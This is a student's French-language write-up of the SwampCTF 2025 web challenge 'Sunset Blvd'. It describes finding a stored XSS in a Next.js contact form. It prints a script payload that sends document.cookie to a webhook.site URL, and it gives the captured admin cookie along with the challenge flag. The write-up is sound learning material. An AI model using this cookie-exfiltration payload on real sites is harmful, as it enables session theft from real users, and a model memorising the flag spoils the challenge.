🛡️ Writeup – Sunset Blvd – SwampCTF 2025

Morad Halmi – Étudiant Ecole2600 – CTF Web

🎯 Objectif du challenge

L'objectif de ce challenge était d'identifier une vulnérabilité sur un site web construit avec **Next.js** et de s'en servir pour récupérer un **flag**. Pas d'authentification, pas d'indice apparent, on partait sur une approche en boîte noire.

🧭 Reconnaissance

En arrivant sur `http://chals.swampctf.com:41218`, je tombe sur une page vitrine autour d'un spectacle musical, avec pas mal d'éléments visuels mais rien d'interactif... jusqu'à ce que je descende en bas de page et que je trouve un **formulaire pour envoyer un message à Nicole**.

C'est à ce moment-là que je me suis dit on va creuser ce formulaire, c'est peut-être là que ça se joue.

🔍 Analyse technique avec Burp

J'ouvre **Burp Suite** pour observer la requête générée par l'envoi du formulaire. Ce qui attire mon attention, c'est le type de contenu :

```
Content-Type: text/x-component
```

Ce type-là est souvent utilisé avec **Next.js App Router**, et ça peut indiquer que des composants sont rendus dynamiquement, côté client ou serveur. C'est le genre de stack où on peut espérer trouver des failles liées à l'exécution ou au rendu.

⚙️ Tests d'injection

Je tente quelques payloads XSS classiques dans le champ du message :

```
<script>alert('XSS')</script>
```

Rien ne s'affiche côté client. Je tente alors un script un peu plus discret qui ne déclenche rien à l'écran mais qui me permettrait d'exfiltrer des infos :

```
<script>
fetch("https://webhook.site/XXXXXX?cookie=" + document.cookie)
</script>
```

Je valide, j'attends… et je surveille **Webhook.site**.

✅ Faille XSS stockée confirmée

Quelques secondes plus tard, je vois une requête dans mon tableau Webhook. Le script s'est bien exécuté quelque part. Le `document.cookie` est passé en GET dans l'URL.
On est clairement face à une **XSS stockée**. À ce stade, je me doute que si une personne "importante" (type admin) consulte le message, son cookie tombera dans ma boîte.

🔬 Observations supplémentaires

En parallèle, je continue à jouer avec des requêtes dans **Burp Repeater**. Je remarque qu'en envoyant un corps JSON vide :

```
[]
```

le serveur répond `200 OK`. Il me retourne aussi des objets JSON qui ressemblent à ça :

```
{
  "a": "$@1",
  "b": "pSJfPxPDSdJhY2jiHNo_e"
}
```

Je note l'info, mais ça ne semble pas directement exploitable pour le flag. Je reviens donc à la piste XSS.

🎯 Exfiltration du flag

Je laisse tourner mon payload XSS pendant que je continue d'explorer. Puis, en vérifiant Webhook.site… je vois une nouvelle requête GET, avec ça dedans :

```
admin-auth=authenticated;
swampCTF=swampCTF{THIS_MUSICAL_WAS_REVOLUTIONARY_BUT_ALSO_KIND_OF_A_SNOOZE_FEST}
```

Le flag était **directement dans les cookies**, ce qui confirme que mon script a été exécuté dans une session avec droits élevés (probablement un bot admin ou un reviewer automatique).

🏁 Flag final

```
swampCTF{THIS_MUSICAL_WAS_REVOLUTIONARY_BUT_ALSO_KIND_OF_A_SNOOZE_FEST}
```

🚩 Ce que j’ai retenu

Ce challenge était simple en apparence, mais il m’a obligé à :

- Identifier un formulaire comme surface d’attaque principale
- Comprendre comment **Next.js App Router** gérait les composants dynamiquement
- Valider une **XSS stockée** grâce à Burp + Webhook.site
- Attendre intelligemment une exécution par une cible privilégiée

C’était une bonne illustration de l’impact réel d’une XSS stockée. Pas besoin d’exploit complexe : une injection bien placée, un peu de patience, et une écoute côté Webhook suffisait à faire tomber le flag.
